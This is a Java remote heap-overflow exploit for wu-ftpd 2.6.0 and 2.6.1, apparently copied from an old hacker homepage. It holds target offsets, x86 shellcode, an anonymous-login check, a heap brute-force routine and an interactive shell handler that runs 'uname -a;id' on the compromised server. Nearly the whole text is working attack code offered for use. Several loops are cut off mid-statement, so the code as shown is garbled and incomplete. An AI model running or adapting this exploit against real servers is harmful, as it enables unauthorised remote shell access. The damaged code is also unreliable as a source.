Vulnerable systems:
 * Wu-FTPd version 2.6.0
 * Wu-FTPd version 2.6.1

Exploit code:
/*
 * wu-ftpd 2.6.[0/1] remote heap overflow exploit
 * wu-ftpd 2.5.* does also overflow and disconnect when you "cwd ~{"
 * but it does not seem to be exploitable for some reason...
 *
 * Original Code by zen-parse
 * This code was finished by CraigTM at 23-01-2002
 *
 * thanks to Krissa from #java@efnet for this:
 *  From the Integer API docs: Integer.parseInt("-FF", 16) returns -255
 *
 * thanks to dvorak for inspiring me; it works() now ;)
 *
 * This works (nearly) like zen-parses code, but gives you a shell...
 *
 * I wanted to challenge myself and prove that remote exploits can be
 * done with java...(hello pr0ix!)...I also had way too much time ;)
 * 
 * java woot [IP] {heap}
 *
 * CraigTM [ElectronicSouls]
 *
 * P.S.: I know that the Reader/Write class sucks, but it was done within minutes ;)
 * P.P.S.:Have fun with the new targets ;)
 *
 */

import java.io.*;
import java.net.*;
import java.util.*;

class woot
{
 
 //type, got, inpbuf, string to check for (autodetect)
 static String targets[] =
 { 
  "RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
   "08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",
  
  "RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to be
   "08072af8","08085900","WU-2.6.1-18", // exploitable...
  
  //"wu-2.6.1(2) by zen-parse", // zen-parse's common compile
  //"0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the wild
  
  "wu-2.6.0(x) from www.wu-ftpd.org by CraigTM", //done by me
   "0806bae4","0807d600","WU-2.6.0(",
     
  "wu-2.6.1(x) from www.wu-ftpd.org by CraigTM", //done by me
   "0806c028","0807db40","WU-2.6.1(",
  
  null
 };



 //socket stuff
 static DataInputStream sin;
 static PrintStream sout;
 static Socket s = null;
  
 //shellcode
 static char sc[]={0x55,0x89,0xe5,0x31,0xc0,0x31,0xdb,0x31,0xc9,0xb0,0x17,0xcd,0x80,0xb0,0x2e,0xcd,0x80,0xeb,0x43,0x5e,0xb0,0x27,0x8d,0x5e,0x09,0xb1,0xed,0xcd,0x80,0x31,0xc9,0x31,0xc0,0xb0,0x3d,0xcd,0x80,0xba,0x2e,0x2e,0x2f,0xff,0x8d,0x5d,0x04,0xb1,0x10,0x89,0x55,0x04,0x83,0xc5,0x03,0xe0,0xf8,0x89,0x4d,0x04,0xb0,0x3d,0xcd,0x80,0x89,0xf3,0x89,0x75,0x08,0x89,0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0x08,0x8d,0x55,0x0c,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,0x80,0xe8,0xb8,0xff,0xff,0xff};
 static int sclength=91;

 //guess what?
 static String victim="";
 
 //your shell
 static Thread reader, writer;
 
 //vars
 static int m=0;
 
 static long tmp_got; 
 static long tmp_heap;
 static long tmp_inpbuf;


 void connect(String Server)
  {
   try
    {
  
     s = new Socket(Server, 21);
     sin = new DataInputStream (s.getInputStream());
     sout = new PrintStream (s.getOutputStream());
  
    }//try
   catch (IOException e){System.out.println("Error Connecting:"+e);System.exit(-1);}
  }//connect()
 
 
  boolean allowsAnonymous()
   {
    String line=null;
    
    try
     {
      connect(victim);
      System.out.print(".");
      
      boolean Ano=false;
      if(s!=null)sout.println("USER anonymous");
      
      System.out.print(".");
                  
      while(true)
       {
        if(s==null)break;
        line=sin.readLine();
        if(line==null)break;
          
        if(line.indexOf("220")<=-1)
         break;

        line=line.toUpperCase();
                                 
        for(int i=0;targets[i]!=null;i++)
         {
          if(line.indexOf(targets[i])>-1)
           {
            m=(i/4)+1;
            break;
           }
         }
         
         System.out.print(".");
         
         if(s!=null)
          {
           sout.println("PASS billg@microsoft.com");
           sout.println("QUIT");
          }
      
        while(Ano==false)
         { 
          line=sin.readLine();
          if(s==null || line==null)break;
          
          if(line.indexOf("331")>-1)
           {
            line=sin.readLine();
            if(line==null || s==null)break;
           }
       
           if(line.indexOf("230")>-1)
            return true;
       
           if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
            return false;
           
          }//while (Ano==false)
         }//while(true)
       
        //close socket again
        if(s!=null)
         {
          try
           {
            s.close();s=null;sin=null;sout=null;
           }
          catch(IOException e){}
         }
       
       }//try
       catch (IOException e){}
    
     return false;
     
    }//Anonymous check + get server

 
 
 
 void shell()
  {
   reader.setPriority(6);
   writer.setPriority(5);
     
   reader.start();
   writer.start();

   Thread t = Thread.currentThread();
   try {t.sleep(1000);} catch (InterruptedException e) {}
   
   woot.sout.println("uname -a;id;");
  }
 
 
 
 
 void dosend(String s)
  {
   for(int i=0;i");
      DataInputStream in = new DataInputStream (System.in);
      victim=in.readLine();
      
     }
    catch (IOException e){}
   }//getTarget()




boolean works(long n)
 {
  String v0=Long.toHexString(n);
 
  String elements[]=new String[5];
  elements[0]=v0.substring(0,2);
  elements[1]=v0.substring(2,4);
  elements[2]=v0.substring(4,6);
  elements[3]=v0.substring(6,8);
  
  for(int i=0;elements[i]!=null;i++)
   {
    if(elements[i].equals("00"))return false; //0x00 -> null byte
    if(elements[i].equals("0a"))return false; //0x0a -> \n
    if(elements[i].equals("40"))return false; //0x40 -> @
   }
  
  return true;
 }
 
 
 
 
 
 boolean force()
  {
   char ok;
   
   long l;
   long got,inp;
   
   long en=0+(256*1024);
   long st=2048;
  
   System.out.println("++ Option #"+m+" chosen.");
   m=(m-1)*4;
   
   System.out.println("++ Exploiting "+targets[m]+"\n");
   
   long tmp = Long.parseLong(targets[m+2],16);
   
   st= st + tmp + Long.parseLong("6400", 16);
   en= en + tmp + Long.parseLong("6400", 16);
   
   got=Long.parseLong(targets[m+1],16);
   inp=Long.parseLong(targets[m+2],16);
   
   tmp_got=got-12;
   tmp_inpbuf=inp+20;
   
   System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
   System.out.println("brute forcing heap (from "+Long.toHexString(st)+" to "+Long.toHexString(en)+"):");
   
   for(l=st;l-1)
             return true;
           
          }
        }
       catch(IOException e){}
   
      }
    
   
    }//if(s!=null)
   
   if(s!=null && !mode.equals("real"))
    {
     try
      {
       s.close();s=null;sin=null;sout=null;
      }
     catch(IOException e){}
    }
       

   return false;
  }//exploit




 public static void main(String args[])
  {
   woot wu=new woot();
   boolean brute=true;
   reader = new Reader(wu);
   writer = new Writer(wu);
   
   try
    {
     if(args[0]!=null)
      victim=args[0];
    }
   catch(ArrayIndexOutOfBoundsException a){}
   
   System.out.println("\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit");
   System.out.println("!! original exploit code by zen-parse");
   System.out.println("!! ported and modified by CraigTM [ElectronicSouls]");
   
   if(victim.equals(""))
    wu.getTarget();
   
   System.out.print("\n## Checking server version & anonymous access");
   
   if(!wu.allowsAnonymous())
    {
     System.out.println("failed: anonymous access denied!");
     System.exit(-1);
    }
   else
    System.out.println("ok");
   
   if(m==0)
    {
     System.out.println("failed: this version is not exploitable!");
     System.exit(-1);
    }
   
   try
    {
     if(args[1]!=null)
      {
       tmp_heap=Long.parseLong(args[1],16);
       System.out.println("++ Option #"+m+" chosen.");
       m=(m-1)*4;
       System.out.println("++ Exploiting "+targets[m]+"\n");
       
       tmp_got=Long.parseLong(targets[m+1],16)-12;
       tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;


       System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
       System.out.println("heap:\t"+Long.toHexString(tmp_heap)+"\n");
       System.out.println("\nTrying to get shell...\n"); 
       
       wu.exploit("real");
       wu.shell();
       
       brute=false;
      }
    }
   catch(ArrayIndexOutOfBoundsException a){}
   
   if(brute)
    {
    
      if(wu.force())
       {
        wu.exploit("real");
        wu.shell();
       }

      else
       System.out.println("\nSome value somewhere is bad. Could be in a skipped range.");
    
    }//brute force the heap

  
   System.out.println();
   
  }//main()



}//class
  
///////////////////////////////////////////////////////////////////////////////
//////////////////////////////SOCKET/READER////////////////////////////////////
  
class Reader extends Thread
{
 
 woot W;
 
 public Reader(woot w)
  {
   super("shell Reader");
   this.W = w;
  }
  
 public void run()
  {
   try
    {
     String tmp;
     
     while(true)
      {
       tmp=woot.sin.readLine();
       
       if(tmp==null)
        System.exit(1);
       
       System.out.println(tmp);
      }
    
    }
   catch (IOException e){}
  }

}//class Reader
  

//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////SOCKET/WRITER////////////////////////////////////////
  
class Writer extends Thread
{
 
 woot W;
  
 public Writer(woot w)
  {
   super("shell Writer");
   this.W = w;
  }
  
 public void run()
  {
   
   try
    {
     DataInputStream in = new DataInputStream (System.in);
     String tmp;
     
     while(true)
      {
       tmp=in.readLine();
       woot.sout.println(tmp);
      }
    
    }
   catch (IOException e){}
  }

}//class Writer

    Source: geocities.com/f173s